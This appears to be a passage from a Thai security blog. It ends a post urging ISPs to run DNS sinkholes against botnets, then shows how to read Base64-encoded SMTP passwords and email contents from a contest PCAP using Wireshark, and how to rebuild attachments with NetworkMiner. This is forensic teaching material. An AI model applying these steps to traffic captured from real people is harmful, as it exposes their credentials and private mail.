สุดท้ายนี้ อยากฝากหน่วยงานของรัฐหรือเจ้าหน้าที่ที่เกี่ยวข้อง ช่วย Control ISP ให้ ISP ทำ DNS Sinkhole บ้างครับ(เราเชื่อมั่นว่ายังไม่ได้ทำ สถิติมันฟ้องครับ) เนื่องจากเราไม่อยากเห็นประเทศไทยของเราเป็นเครือข่าย Botnet ลำดับต้นๆของโลก
sinkhole3

Extract SMTP data from PCAP

ปกติแล้วชีวิตประจำวันสำหรับคนเล่น Internet นั้นคงหนีไม่พ้นการใช้งาน Web Site และ EMail ซึ่งทุกวันนี้ผมเองก็มักได้ยินแต่คนส่วนใหญ่แนะนำว่าเข้าใช้งาน Web ให้ระวังจะ Login ต้องมีดูที่ Address Bar ว่าต้องเป็น HTTPS ก่อนนะ แล้ว EMail ล่ะ ทำไมไม่ค่อยมีคนพูดถึงกันเลย ซึ่งผมคิดว่า EMail ก็ควรระมัดระวังในการใช้ด้วยเหมือนกัน

EMail Security ส่วนมากนั้นมักจะได้ยินเกี่ยวกับการทำ Encryption และ Digital Signature ซึ่งนั่นไม่ค่อยสนุกเท่าไรนัก ดังนั้นเลยคิดว่ามาลองนั่งแกะ SMTP packet ดีกว่า หากเรามี Packet ที่มีข้อมูล SMTP เราจะดูอะไรได้บ้างกันนะ ซึ่งโดยทั่วไปหากดูผ่าน Wireshark ก็คงจะนั่งไล่ Flow กันสนุกเลยทีเดียว

ตัวอย่างที่เอามาวันนี้ยืมมาจาก http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail ซึ่งถ้าเข้า Web ตามไปจะมี File PCAP ให้โหลด (PCAP = Packet Capture) เอามาเปิดดูด้วย WireShark จะพบข้อมูลตามด้านล่าง

รูปตัดมาเฉพาะช่วง Authentication ของ SMTP สิ่งที่เห็นคือช่วงตั้งแต่เริ่ม Authenticate กับ Server จนสำเร็จ ซึ่ง Key หลักของรูปนี้คงจะไม่ยากเท่าไร หากรู้จักกับ SMTP เป็นอย่างดีอยู่แล้ว โดย Password นั้นถูก Encode[1] ในรูปแบบของ Base64  ซึ่งปัจจุบันผมยังเห็น Email Server ตามองค์กรต่างๆหลายที่ยังเปิดใช้งานให้คุยแบบ Plaintext อยู่ซึ่งนั่นถือเป็นความเสี่ยงอย่างร้ายแรงพอสมควร เนื่องจากอาจทำให้ข้อมูลส่วนตัว หรือความลับบริษัทรั่วไหลได้ บางคนอาจคิดว่าถ้าได้ Password แล้วจะทำอะไรได้ หาก Sender ส่งเมล์แล้วไม่ได้ Save ไว้ เข้า Email ไปได้ก็ไม่มีประโชยน์ แต่มันคงจะไม่จริงไปซะหมด เพราะว่าเราสามารถได้ข้อมูลเพิ่มเติมจากอีก เช่น

สามารถอ่านเนื้อ Email ได้จาก WireShark ด้วย

แต่หากมี Attachment ใน Mail ไปด้วย การแยก Attachment นั้นโดยใช้ WireShark คงจะทำได้ยาก เนื่องจากสิ่งที่เห็นใน WireShark นั้นจะเป็น Binary Data แล้วถูกตัดออกเป็นส่วนๆ ตามรูปด้านล่าง ซึ่งคงจะลำบากหากเราต้องมานั่งรวม Data แล้วสร้างเป็น File ขึ้นมาใหม่

ดังนั้นจึงขอแนะนำ Tool ชื่อ “Network Miner” http://sourceforge.net/projects/networkminer/

ที่สามารถช่วยในการวิเคราะห์ Packet ให้เราได้รวมถึงสามารถสร้าง Reconstruct File ให้ได้ด้วย

สุดท้ายแล้วเราก็จะสามารถได้ Attachment มาครอบครอง หากใครสนใจ ลองไปดูโจทย์ที่ผ่านมาแล้วลองทำเพื่อความบันเทิงได้ที่ http://forensicscontest.com/ ครับ

เพิ่มเติม

Encode[1] คือ การแปลงรูปแบบการแสดงผลให้อยู่ในรูปแบบอื่นๆ ซึ่งแตกต่างจาก Encrypt ที่หมายถึงการเข้ารหัส การถอดรหัส (Decrypt) นั้นต้องอาศัย Key ในการถอดรหัส แต่การ Decode นั้นไม่จำเป็นต้องใช้ Key